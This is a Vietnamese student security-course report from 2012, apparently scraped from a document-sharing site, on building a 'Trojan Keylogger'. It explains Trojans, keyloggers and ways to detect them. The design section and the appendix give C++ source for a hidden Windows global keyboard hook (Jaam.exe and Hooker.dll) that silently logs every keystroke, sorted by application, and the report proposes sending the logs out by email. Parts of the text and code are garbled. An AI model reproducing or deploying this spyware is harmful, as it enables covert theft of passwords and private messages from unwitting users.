đồ án xây dựng chương trình trojan keylogger

25 723 2
đồ án xây dựng chương trình trojan keylogger

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

TRƯỜNG ĐẠI HỌC BÁCH KHOA KHOA CÔNG NGHỆ THÔNG TIN BỘ MÔN MẠNG VÀ TRUYỀN THÔNG    AN TỒN THƠNG TIN MẠNG Đề tài 15: Xây dựng chương trình Trojan Keylogger Giáo viên hướng dẫn Sinh viên thực Lớp Nhóm : : : : TS NGUYỄN TẤN KHÔI LÃ PHAN SƠN ANH NGUYỄN HÀ HẢI ĐĂNG ĐẶNG PHAN MINH HẢI 08T4 12 Đà Nẵng 2012 Báo Cáo An Tồn Thơng Tin Mạng MỤC LỤC MỤC LỤC Chương CƠ SỞ LÝ THUYẾT 1.1 Giới thiệu 1.2 Tìm hiểu Trojan 1.2.1 Các dạng Trojans bản: 1.2.2 Mục đích kẻ viết Trojans: .5 1.2.3 Những đường để máy tính nạn nhân nhiễm Trojan: 1.2.4 Những cách nhận biết máy tính bị nhiễm Trojan: 1.3 Giới thiệu KeyLogger 1.3.1 KeyLogger gì? 1.3.2 Phân loại KeyLogger: .7 1.3.3 Cách hoạt động KeyLogger: .8 1.4 Cách phát phòng chống 1.4.1 Cách phát Trojan: 1.4.2 Cách phòng chống: .13 Chương PHÂN TÍCH VÀ THIẾT KẾ CHƯƠNG TRÌNH 14 2.1 Mơ tả tốn .14 2.2 Phân tích yêu cầu 14 2.2.1 Yêu cầu chức năng: 14 2.2.2 Yêu cầu giao diện người dùng: 14 2.2.3 Yêu cầu tương thích: 14 2.3 Phân tích chức 14 2.4 Kỹ thuật Hook .14 2.4.1 Giới thiệu: .14 2.4.2 Chuỗi Hook: 15 2.4.3 Thủ tục Hook: .15 2.4.4 Cách sử dụng Hook: .16 2.5 Thuật toán 17 2.5.1 Hàm WriteStringToFile(char *txt): .17 2.5.2 Hàm LogKeyboard: 17 Chương TRIỂN KHAI ĐÁNH GIÁ KẾT QUẢ 18 3.1 Môi trường triển khai 18 3.2 Kết chức chương trình 18 3.3 Ưu nhược điểm .20 3.3.1 Ưu điểm: .20 3.3.2 Nhược điểm: 20 3.4 Hướng phát triển 20 20 TÀI LIỆU THAM KHẢO 21 PHỤ LỤC 22 SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 Báo Cáo An Tồn Thơng Tin Mạng Chương 1.1 CƠ SỞ LÝ THUYẾT Giới thiệu Một Trojan chương trình nhỏ chạy chế độ ẩn gây hại cho máy tính Với trợ giúp Trojan, kẻ tất cơng dễ dàng truy cập vào máy tính nạn nhân để thực số việc nguy hại lấy cắp liệu, xóa file, nhiều khả khác Cũng giống Ngựa Thành Troy thần thoại trơng quà, thực có chứa lính Hy Lạp, bọn chúng chiếm thành Troy Trojan chương trình dạng vi rút, kẻ làm nội gián máy tính bạn giúp cho tên tin tặc (hacker) điều khiển máy tính bạn, Trojan giúp tên tin tặc lấy thông tin q báu bạn, chí xóa định dạng lại ổ cứng bạn Trojan nhiễm vào máy bạn qua tập tin gắn kèm thư điện tử mà bạn vô tình tải chạy thử, có lẫn chương trình trò chơi, chương trình mà bạn không rõ nguồn gốc… Ðể “moi ruột” mật chủ thuê bao, hacker nội thường sử dụng vi rút có họ Trojan (vi rút thành Troa) gửi đến thuê bao cần công thông qua thư điện tử (e-mail) dạng liệu đính kèm (File Attachment) Chỉ cần chủ th bao vơ tình mở file này, vi rút Trojan kích động tự động SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 Báo Cáo An Tồn Thơng Tin Mạng chép lại tất thơng số mật chủ thuê bao Không mật truy cập Intemet mà đến mật hòm thư điện tử dễ dàng bị đánh cắp Ngay sau chủ thuê bao kết nối Internet, vi rút Trojan bí mật sinh e- mail gửi mật đánh cắp cho “tin tặc” Và sau lần thay đổi mật virus Trojan tiếp tục lặng lẽ “tuồn” ăn cắp tới địa mà hacker nội định sẵn Ðể đánh lừa “nạn nhân”, “tin tặc” ln tìm cách giăng loại bẫy tinh vi Tinh vi khơng chủ th bao dù ‘kỹ tính” “sập” bẫy thường Phổ biến hacker nội đội lốt tổ chức hay cơng ty có uy tín để đánh lừa chủ thuê bao chương trình phần mềm thư ma Ghostmail “tin tặc” dễ dàng thảo e-mail mạo danh với nội dung: “Hiện tình trạng đánh cắp mật thuê bao phổ biến Khi nhận tin kiểu vậy, có khơng thuê bao dễ dàng “cắn câu” “tự nhiên” cho chạy chương trình vi rút Trojan mà khơng nhận thức họ “tự nguyện” hiến thành nạn nhân bọn “tin tặc” Như vậy, Trojan kích hoạt máy bạn bạn truy cập Internet Trojan lấy mật truy cập mạng, lấy danh sách thư điện tử chí cấu hình máy tính bạn để gửi cho địa thư điện tử tên tin tặc Nhưng nguy hiểm hơn, Trojan gửi địa mạng IP, địa mà nhà cung cấp dịch vụ mạng (ISP) gán cho bạn lúc truy cập; tên tin tặc sử dụng địa IP bạn để thiết lập kết nối từ máy tính tới máy tính bạn qua mạng Internet Trojan lấy thơng tin, xóa thơng tin… Tác hại Trojan: * Xoá hay viết lại liệu máy tính * Làm hỏng chức tệp * Lây nhiễm phần mềm ác tính khác virus * Cài đặt mạng để máy bị điều khiển máy khác hay dùng máy nhiễm để gửi thư nhũng lạm * Đọc thông tin cần thiết gửi báo cáo đến nơi khác * Ăn cắp thông tin mật số thẻ tín dụng SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 Báo Cáo An Tồn Thơng Tin Mạng * Đọc chi tiết tài khoản ngân hàng dùng vào mục tiêu phạm tội * Cài đặt phần mềm chưa cho phép 1.2 Tìm hiểu Trojan Kẻ cơng truy cập vào máy tính bị nhiễm Trojans chúng Online Sau truy cập điều khiển tồn máy tính nạn nhân, chúng có khả sử dụng vào nhiều mục đích khác 1.2.1 Các dạng Trojans bản: * Remote Access Trojans – Cho kẻ cơng kiểm sốt tồn hệ thống từ xa * Data-Sending Trojans – Gửi thông tin nhạy cảm cho kẻ công * Destructive Trojans – Phá hủy hệ thống * Denied-of-Service – DoS Attack Trojan: Trojans cho công DoS * Proxy Trojans * HTTP, FTP Trojans - Trojan tự tạo thành HTTP hay FTP server để kẻ công khai thác lỗi * Security Software Disable Trojan 1.2.2 Mục đích kẻ viết Trojans: * Lấy thông tin tài khoản cá nhân như: Email, Password,… * Những liệu mật * Thơng tin tài chính: Tài khoản ngân hàng… * Sử dụng máy tính nạn nhân để thực tác vụ đó, để cơng, scan, hay làm ngập hệ thống mạng nạn nhân SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 Báo Cáo An Tồn Thơng Tin Mạng 1.2.3 Những đường để máy tính nạn nhân nhiễm Trojan: * Qua ứng dụng CHAT online IRC – Interney Relay Chat * Qua file đính kèm Mail… * Qua tầng vật lý trao đổi liệu qua USB, CD, HDD… * Khi chạy file bị nhiễm Trojan * Qua NetBIOS – FileSharing * Qua chương trình nguy hiểm * Từ trang web khơng tin tưởng hay website cung cấp phần mềm miễn phí * Nó có khả ẩn ứng dụng bình thường, chạy ứng dụng chạy Trojans 1.2.4 Những cách nhận biết máy tính bị nhiễm Trojan: * Ổ CD-ROM tự động mở đóng vào * Máy tính có dấu hiệu lạ hình * Hình cửa sổ Windows bị thay đổi… * Các văn tự động in * Máy tinh tự động thay đổi font chữ thiết lập khác * Hình máy tính tự động thay đổi khơng thể đổi lại * Chuột trái, chuột phải lẫn lộn * Chuột khơng hiển thị hình * Nút Start khơng hiển thị … SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 Báo Cáo An Tồn Thơng Tin Mạng 1.3 Giới thiệu KeyLogger 1.3.1 KeyLogger gì? Keylogger hay "trình theo dõi thao tác bàn phím" theo cách dịch tiếng Việt chương trình máy tính ban đầu viết nhằm mục đích theo dõi ghi lại thao tác thực bàn phím vào tập tin nhật ký (log) người cài đặt sử dụng Vì chức mang tính vi phạm vào riêng tư người khác nên trình keylogger xếp vào nhóm phần mềm gián điệp Về sau, keylogger phát triển cao khơng ghi lại thao tác bàn phím mà ghi lại hình ảnh hiển thị hình (screen) cách chụp (screen-shot) quay phim (screen-capture) chí ghi nhận cách trỏ chuột máy tính di chuyển 1.3.2 Phân loại KeyLogger: Keylogger bao gồm hai loại, loại keylogger phần cứng loại phần mềm Bài viết nói đến loại phần mềm Theo người lập trình, keylogger viết với có loại giúp bạn giám sát cái, người thân xem họ làm với PC, với internet, chat với người lạ Nhưng cách sử dụng chức keylogger giới khiến người ta thường hay phân loại keylogger theo mức độ nguy hiểm câu hỏi: Nhiễm vào máy không qua cài đặt/Cài đặt vào máy cực nhanh (quick install)? Có thuộc tính ẩn/giấu trình quản lí tiến trình (process manager) trình cài đặt gỡ bỏ chương trình (Add or Remove Program)? Theo dõi không thông báo/PC bị nhiễm khó tự phát hiện? Có thêm chức Capturescreen ghi lại thao tác chuột? SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 Báo Cáo An Tồn Thơng Tin Mạng Khó tháo gỡ? Có khả lây nhiễm, chống tắt (kill process)? Cứ câu trả lời "có", cho điểm Điểm cao, keylogger vượt khỏi mục đích giám sát (monitoring) đến với mục đích thám (spying) tính nguy hiểm cao Keylogger phân loại theo số điểm: Loại số Khơng điểm: keylogger loại bình thường; chạy cơng khai, có thơng báo cho người bị theo dõi, với mục đích giám sát Loại số Một đến hai điểm: keylogger nguy hiểm; chạy ngầm, hướng đến mục đích thám nhiều giám sát (nguy hại đến thông tin cá nhân tài khoản cá nhân, mật khẩu, thẻ tín dụng người dùng không biết) Loại số Ba đến năm điểm: keylogger loại nguy hiểm; ẩn dấu hoàn toàn theo dõi phạm vi rộng, mục đích thám rõ ràng Loại số Sáu điểm: keylogger nguy hiểm nghiêm trọng, thường mang theo trojan-virus khó tháo gỡ, loại keylogger nguy hiểm Chính (và đồng thời “đồng bọn” trojan-virus) thường hay bị chương trình chống virus tìm thấy tiêu diệt 1.3.3 Cách hoạt động KeyLogger: 1.3.3.1 Thành phần Keylogger Thông thường, chương trình keylogger gồm có ba phần chính: Chương trình điều khiển (Control Program): dùng để theo điều phối hoạt động, tinh chỉnh thiết lập, xem tập tin nhật ký cho Keylogger Phần phần giấu kỹ keylogger, thơng thường gọi tổ hợp phím tắt đặc biệt SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 Báo Cáo An Tồn Thơng Tin Mạng Tập tin hook, chương trình monitor dùng để ghi nhận lại thao tác bàn phím, capture screen (đây phần quan trọng nhất) Tập tin nhật ký (log), nơi chứa đựng/ghi lại tồn hook ghi nhận Ngồi ra, tùy theo loại có thêm phần chương trình bảo vệ (guard, protect), chương trình thơng báo (report)… 1.3.3.2 Cách thức cài đặt vào máy Các loại keylogger từ - thông thường cài đặt vào máy giống chương trình máy tính khác, phải qua bước cài đặt Đầu tiên cài đặt tập tin dùng để hoạt động vào thư mục đặc biệt (rất phức tạp), sau đăng ký cách thức hoạt động đợi người dùng thiết lập thêm ứng dụng Sau bắt đầu hoạt động Loại keylogger số vào thẳng máy người dùng bỏ qua bước cài đặt, dùng tính autorun để chạy với hệ thống Một số loại tự thả (drop) vào chương trình khác, để người dùng sử dụng chương trình keylogger tự động chạy theo 1.3.3.3 Cách hoạt động Trong hệ thống (Windows, Linux, Mac…), bấm phím bàn phím, bàn phím chuyển thành tính hiệu chuyển vào CPU CPU chuyển tới hệ điều hành để hệ điều hành dịch thành chữ số cho chương trình khác sử dụng Nhưng hệ thống có keylogger, khơng có hệ điều hành theo dõi mà hook file/monitor program keylogger theo dõi ghi nhận dịch lại tính hiệu ghi vào tập tin nhật ký Đồng thời theo dõi hình thao tác chuột 1.4 Cách phát phòng chống 1.4.1 Cách phát Trojan: Có ba nguyên lý chương trình Trojan nào: SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 Báo Cáo An Tồn Thơng Tin Mạng - Một trojan muốn hoạt động phải lắng nghe request cổng - Một chương trình chạy phải có TÊN Process List - Một chương trình Trojan ln chạy lúc máy tính khởi động 1.4.1.1 Phát Port sử dụng Trojans: - Dùng câu lệnh Netstat –an windows để biết hệ thống lắng nghe port + Hình ta thấy có port 7777 – port Tini Trojan + Ta thấy port 8800 để chế độ nghe có máy kết nối đến, Trojans - Dùng phần mềm Fport - Dùng phần mềm TCPView Ta xem toàn port sử dụng chương trình sử dụng port Từ ta kiểm tra dịch vụ mạng với Port nghi ngờ ta dùng Firewall đóng lại SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 10 Báo Cáo An Tồn Thơng Tin Mạng SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 11 Báo Cáo An Tồn Thơng Tin Mạng 1.4.1.2 Cách phát chương trình chạy: - Dùng phần mềm Process Viewer tất Process hiển thị dù có chạy chế độ ẩn khơng Task Manager Windows SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 12 Báo Cáo An Tồn Thơng Tin Mạng 1.4.1.3 Tìm chương trình chạy lúc khởi động: - Trong Startup - Trong Registry: Đa số nằm đây: Chúng ta sử dụng câu lệnh Msconfig Table Startup chương trình muốn chạy tự động phải nằm Trong ví dụ có file nc.exe chạy lúc khởi động vị trí folder c:\vnexperts.net 1.4.2 Cách phòng chống: - Không sử dụng phần mềm không tin tưởng (đơi tin tưởng bị dính Trojans) - Không vào trang web nguy hiểm, không cài ActiveX JavaScript trang web đính kèm Trojans - Tối quan trọng phải update OS thường xuyên - Cài phần mềm diệt virus uy tín như: Kaspersky Internet Security, Norton Internet Security, Mcafee Total Security Sau cài phần mềm bạn update thường xuyên SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 13 Báo Cáo An Tồn Thơng Tin Mạng Chương 2.1 PHÂN TÍCH VÀ THIẾT KẾ CHƯƠNG TRÌNH Mơ tả tốn Xây dựng chương trình Trojan Keylogger có khả ghi lại thao tác bàn phím chương trình mà người dùng sử dụng 2.2 Phân tích yêu cầu 2.2.1 Yêu cầu chức năng: Chương trình ghi lại tồn thao tác phím người dùng lưu tập tin văn 2.2.2 Yêu cầu giao diện người dùng: Đây chương trình mang tính chất gián điệp nên chạy ẩn hệ thống khơng có giao diện đồ họa, người dùng xem qua Task Manager 2.2.3 u cầu tương thích: Để đảm bảo có tương tác tốt với window, chương trình chúng em sử dụng ngôn ngữ C++ môi trường Dev C++, Visual C++ 2.3 2.4 Phân tích chức - Phân tích tiến trình, cửa sổ nhâp liệu - Ghi lại toàn thao tác bàn phím - Lưu tập tin văn theo ngày tháng tên ứng dụng Kỹ thuật Hook 2.4.1 Giới thiệu: Hook kỹ thuật xử lý thông điệp mạnh cho phép can thiệp sâu vào tiến trình khác nhau, làm ảnh hưởng tới tốc độ hệ thống, hook system-wide, tất kiện hệ thống định hướng tới hàm đó, rõ ràng điều làm hệ thống chậm đáng kể Vì ta hên SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 14 Báo Cáo An Tồn Thơng Tin Mạng hook thơng điệp thật cần thiết kết thúc việc hook không dùng đến Các mơ hình Hook: - Local hook: kỹ thuật Hook dùng để bẫy kiện tiến trình cài đặt - Remote hook: kỹ thuật Hook cho phép bẫy kiện thuộc tiến trình ứng dụng khác Trong mơ hình lại tồn hai kiểu hook khác : + Thread-specific : kiểu Hook bẫy kiện luồng cụ thể + System-wide : bẫy kiện tất luồng tất tiến trình thi hành hệ thống Thành phần Hook: • Chuỗi Hook • Thủ tục Hook • Các kiểu Hook 2.4.2 Chuỗi Hook: Hệ thống có khả hỗ trợ nhiều kiểu hook khác nhau, kiểu lại quy định cách thức truy nhập khác kỹ thuật điều khiển thông điệp Do vậy, hệ thống trì chuỗi hook cho kiểu hook khác Một chuỗi hook danh sách trỏ đặc biệt, trỏ tới hàm CallBack gọi hook procedure (thủ tục hook) Như kiện xuất hiện, hệ thống chuyển kiện tới thủ tục hook tham chiếu bới chuỗi hook theo thứ tự Vì phải thực xong thủ tục gọi thủ tục 2.4.3 Thủ tục Hook: Thủ tục hook nơi thực thao tác sau bắt kiện mong muốn Các thủ tục hook phụ thuộc vào kiểu hook khác mà có cấu trúc, chức khác Có thủ tục điều khiển thơng điệp, số khác sửa đổi thơng điệp, dừng tiến trình thơng điệp, ngăn cản thực hook đưa tới cửa sổ cuối … SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 15 Báo Cáo An Tồn Thơng Tin Mạng Thủ tục hook có dạng chung sau: LRESULT CALLBACK HookProc( int nCode, WPARAM wParam, LPARAM lParam ); Trong : - HookProc: tên đại diện thủ tục hook cài đặt - nCode : Đây mã hook, định toàn hoạt động thủ tục hook, mã hook phụ thuộc vào kiểu hook kiểu hook gán cho ký tự để thiết lập mã hook - wParam, lParam: Hai tham số chứa thơng tin thơng điệp hook phụ thuộc vào mã hook (nCode) 2.4.4 2.4.4.1 Cách sử dụng Hook: Cài đặt Hook Ta cài đặt thủ tục hook vào chuỗi hook việc gọi hàm SetWindowsHookEx kiểu hook gọi thủ tục, việc cài đặt hook thực tiến trình hệ thống Nếu sử dụng hook tồn cục phải đặt thư viện liên kết động (DLL) Ứng dụng muốn sử dụng thư viện liên kết động phải lấy handle thư viện Để nhận Handle thư viện liên kết động ta sử dụng hàm LoadLibrary với tham số tên thư viện Sau có Handle DLL, ta lấy địa thủ tục hook thư viện liên kết động thông qua hàm GetProcAddress Sau có thủ tục hook, sử dụng hàm SetWindowsHookEx để cài đặt thủ tục hook vào chuỗi hook 2.4.4.2 Giải phóng Hook Như nói hook nên bỏ không cần thiết cách sử dụng hàm UnhookWindowsHookEx Với thread-specific hook, việc sử dụng hàm UnhookWindowsHookEx giải phóng thủ tục hook Tuy nhiên với hook tồn tục (system-wide hook) hàm trả tự cho hàm DLL Việc gọi hàm LoadLibrary gọi ngữ cảnh tất tiến trình, nhiên hàm FreeLibrary khơng thể thực với SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 16 Báo Cáo An Toàn Thơng Tin Mạng tiến trình khác Vì vậy, khơng có cách để giải phóng DLL Hệ thống giải phóng DLL tất tiến trình liên kết tới DLL phải kết thúc gọi FreeLibrary Giải pháp đặt cho vấn đề xây dựng hàm cài đặt thư viện DLL Bằng việc liên kết tới DLL, ứng dụng cài đặt hook Và DLL phải có hàm giải phóng hook để giải phóng khơng cần đến 2.5 Thuật toán 2.5.1 Hàm WriteStringToFile(char *txt): - Gọi hàm GetLocalTime(&st) để lấy thời gian hệ thống gán vào st - Gọi hàm GetForegroundWindow() để lấy địa cửa sổ sử dụng - Truyền địa cửa sổ vừa tìm vào hàm GetWindowThreadProcessId để lấy địa ứng dụng chạy vào biến processID - Mở (nếu có) tạo (nếu chưa có) file text với tên ngày tên ứng dụng chạy sprintf(str,"d:\\key-%d_%d_%d-%s.txt",st.wYear,st.wMonth,st.wDay, GetExecutor(processID)); out=fopen(str,"a"); - Ghi kí tự txt vào file vừa mở 2.5.2 Hàm LogKeyboard: - Khai báo trỏ keycode kiểu KBDLLHOOKSTRUCT chứa thông tin kiện đầu vào bàn phím - Nếu phím bấm phím đặc biệt gọi hàm WriteStringToFile để ghi vào file cụm từ tương ứng với phím if if if if if if if if if (keycode->vkCode == VK_RETURN) WriteStringToFile("{Enter}"); (keycode->vkCode == VK_BACK) WriteStringToFile("{Backspace}"); (keycode->vkCode == VK_DELETE) WriteStringToFile("{Delete}"); (keycode->vkCode == VK_HOME) WriteStringToFile("{Home}"); (keycode->vkCode == VK_END) WriteStringToFile("{End}"); (keycode->vkCode == VK_LEFT) WriteStringToFile("{Left}"); (keycode->vkCode == VK_RIGHT) WriteStringToFile("{Right}"); (keycode->vkCode == VK_UP) WriteStringToFile("{Up}"); (keycode->vkCode == VK_DOWN) WriteStringToFile("{Down}"); - Còn lại ghi vào file với kí tự tương ứng phím bấm SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 17 Báo Cáo An Toàn Thông Tin Mạng Chương 3.1 TRIỂN KHAI ĐÁNH GIÁ KẾT QUẢ Môi trường triển khai Phần mềm triển khai chạy thử phiên Win7 3.2 Kết chức chương trình Kết chạy chương trình Hình – Chương trình Jaam.exe chạy ngầm SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 18 Báo Cáo An Tồn Thơng Tin Mạng Hình – Sử dụng Ứng dụng Yahoo Messenger Hình – Kết ghi từ chương trình Hình – Nội dung tập tin log SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 19 Báo Cáo An Tồn Thơng Tin Mạng 3.3 Ưu nhược điểm Sau triển khai chạy thử ứng dụng, nhóm chúng em rút nhận xét đánh giá sau: 3.3.1 Ưu điểm: - Chương trình khơng làm tăng đáng kể thời gian hiển thị phím bấm - Chương trình ghi lại 100% thao tác phím - Các tập tin ghi lại theo ngày ứng dụng mà người sử dụng gõ phím thơng tin xác 100% 3.3.2 Nhược điểm: - Vẫn ký tự lạ log Nguyên nhân ký tự Unicode trả từ chương trình Unikey - Vì chương trình bắt tất thao tác bàn phím tất ứng dụng chạy nên tạo nhiều file text dư thừa 3.4 Hướng phát triển - Tạo file cấu hình cho chương trình Trojan đọc xử lý để bắt phím bấm ứng dụng mà người dùng quan tâm - Phát triển để Trojan tự gởi thông tin mail SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 20 Báo Cáo An Tồn Thơng Tin Mạng TÀI LIỆU THAM KHẢO - Website wikipedia.org - Software Requirement Specification Template IEEE - An Analysis of the System Salman A Baset and Henning Schulzrinne Department of Computer Science Columbia University, New York NY 10027 {salman,hgs}@cs.columbia.edu September 15, 2004 SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 21 Báo Cáo An Toàn Thông Tin Mạng PHỤ LỤC Tập tin thi hành Jaam.exe #include "stdafx.h" #include /* Declare Windows procedure */ LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM); /* Make the class name into a global variable */ char szClassName[ ] = "WindowsApp"; HINSTANCE hinstDLL; HHOOK hHook = NULL; typedef VOID (*LOADPROC)(HHOOK hHook); int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil) { hinstDLL = LoadLibrary(TEXT("Hooker")); if (hinstDLL == NULL) { MessageBox(0,L"Not found.",L"Error",0); return 0; } HOOKPROC hpr = (HOOKPROC)GetProcAddress(hinstDLL,"LogKeyboard"); if (hpr == NULL) { MessageBox(0,L"Unvail lib.",L"Error",0); return 0; } hHook = SetWindowsHookEx(WH_KEYBOARD_LL, hpr, hinstDLL, 0); if (hHook == NULL) { MessageBox(0,L"Corrupt lib.",L"Error",0); return 0; } LOADPROC lpr = (LOADPROC)GetProcAddress(hinstDLL,"SetGlobalHook"); lpr(hHook); HWND hwnd; MSG messages; /* This is the handle for our window */ /* Here messages to the application are saved */ /* Run the message loop It will run until GetMessage() returns */ while (GetMessage (&messages, NULL, 0, 0)) { /* Translate virtual-key messages into character messages */ TranslateMessage(&messages); /* Send message to WindowProcedure */ DispatchMessage(&messages); } } /* The program return-value is - The value that PostQuitMessage() gave */ return messages.wParam; /* This function is called by the Windows function DispatchMessage() */ LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) /* handle the messages */ { case WM_DESTROY: SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 22 Báo Cáo An Tồn Thơng Tin Mạng PostQuitMessage (0); /* send a WM_QUIT to the message queue */ UnhookWindowsHookEx(hHook); hHook=NULL; break; default: /* for messages that we don't deal with */ return DefWindowProc (hwnd, message, wParam, lParam); } return 0; } Thư viện Hooker.dll // dllmain.cpp : Defines the entry point for the DLL application #include #include #include #include #include #include #include #include #pragma data_seg(".SHARDAT") HHOOK hGlobalHook = NULL; FILE *out; #pragma data_seg() int PrintModules( DWORD processID ); void WriteStringToFile(char *txt); void WriteEnterToFile(); LRESULT CALLBACK LogKeyboard(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION && wParam == WM_KEYDOWN) { bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true : false); bool isDownCapslock = (GetKeyState(VK_CAPITAL) != ? true : false); bool isDownCtrl = ((GetKeyState(VK_CONTROL) & 0x80) == 0x80 ? true : false); byte keyState[256]; GetKeyboardState(keyState); WORD w; KBDLLHOOKSTRUCT* keycode = (KBDLLHOOKSTRUCT*)lParam; if (keycode->vkCode == VK_RETURN) WriteStringToFile("{Enter}"); if (keycode->vkCode == VK_BACK) WriteStringToFile("{Backspace}"); if (keycode->vkCode == VK_DELETE) WriteStringToFile("{Delete}"); if (keycode->vkCode == VK_HOME) WriteStringToFile("{Home}"); if (keycode->vkCode == VK_END) WriteStringToFile("{End}"); if (keycode->vkCode == VK_LEFT) WriteStringToFile("{Left}"); if (keycode->vkCode == VK_RIGHT) WriteStringToFile("{Right}"); if (keycode->vkCode == VK_UP) WriteStringToFile("{Up}"); if (keycode->vkCode == VK_DOWN) WriteStringToFile("{Down}"); else if (ToAscii(keycode->vkCode, keycode->scanCode, keyState, &w, keycode->flags) == 1) { SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 23 Báo Cáo An Tồn Thơng Tin Mạng char key = (char)w; if ((isDownCapslock ^ isDownShift) && ((key >= 65 && key = 97 && key vkCode); WriteStringToFile(str);} else { char str[100]; sprintf(str,"%c",key); WriteStringToFile(str);} } } return CallNextHookEx( hGlobalHook, nCode, wParam, lParam ); } void SetGlobalHook(HHOOK hHook) { hGlobalHook = hHook; } char* GetExecutor( DWORD processID ) { HMODULE hMods[1024]; HANDLE hProcess; DWORD cbNeeded; unsigned int i; char* result = (char*)malloc( 1000 );; // Get a handle to the process hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID ); if (NULL == hProcess) return ""; // Get a list of all the modules in this process if( EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) { for ( i = 0; i < (cbNeeded / sizeof(HMODULE)); i++ ) { TCHAR szModName[MAX_PATH]; // Get the full path to the module's file if ( GetModuleBaseName( hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR))) { // Print the module name and handle value TCHAR* prcName = szModName; wcstombs( result, szModName, 1000 ); } break; } } SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 24 Báo Cáo An Tồn Thơng Tin Mạng // Release the handle to the process CloseHandle( hProcess ); return result; } void WriteStringToFile(char* txt) { // File name by Time and App // Curren Time SYSTEMTIME st; GetLocalTime(&st); // Current App HWND curhwndWindow = GetForegroundWindow(); //lay dia chi cua so dang dung DWORD processID; GetWindowThreadProcessId(curhwndWindow, &processID); char str[100]; sprintf(str,"d:\\key-%d_%d_%d-%s.txt",st.wYear,st.wMonth,st.wDay, GetExecutor(processID)); } out=fopen(str,"a"); fprintf(out,"%s",txt); fclose(out); BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 25 ... Báo Cáo An Tồn Thơng Tin Mạng Chương 2.1 PHÂN TÍCH VÀ THIẾT KẾ CHƯƠNG TRÌNH Mơ tả tốn Xây dựng chương trình Trojan Keylogger có khả ghi lại thao tác bàn phím chương trình mà người dùng sử dụng... thời “đồng bọn” trojan- virus) thường hay bị chương trình chống virus tìm thấy tiêu diệt 1.3.3 Cách hoạt động KeyLogger: 1.3.3.1 Thành phần Keylogger Thơng thường, chương trình keylogger gồm có... phát Trojan: Có ba ngun lý chương trình Trojan nào: SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4 Báo Cáo An Tồn Thơng Tin Mạng - Một trojan muốn hoạt động phải lắng nghe request cổng - Một chương trình

Ngày đăng: 22/12/2017, 08:17

Mục lục

    Chương 1. CƠ SỞ LÝ THUYẾT

    1.2 Tìm hiểu về Trojan

    1.2.1 Các dạng Trojans cơ bản:

    1.2.2 Mục đích của những kẻ viết ra những Trojans:

    1.2.3 Những con đường để máy tính nạn nhân nhiễm Trojan:

    1.2.4 Những cách nhận biết một máy tính bị nhiễm Trojan:

    1.3 Giới thiệu về KeyLogger

    1.3.3 Cách hoạt động của KeyLogger:

    1.4 Cách phát hiện và phòng chống

    1.4.1 Cách phát hiện Trojan:

Tài liệu cùng người dùng

Tài liệu liên quan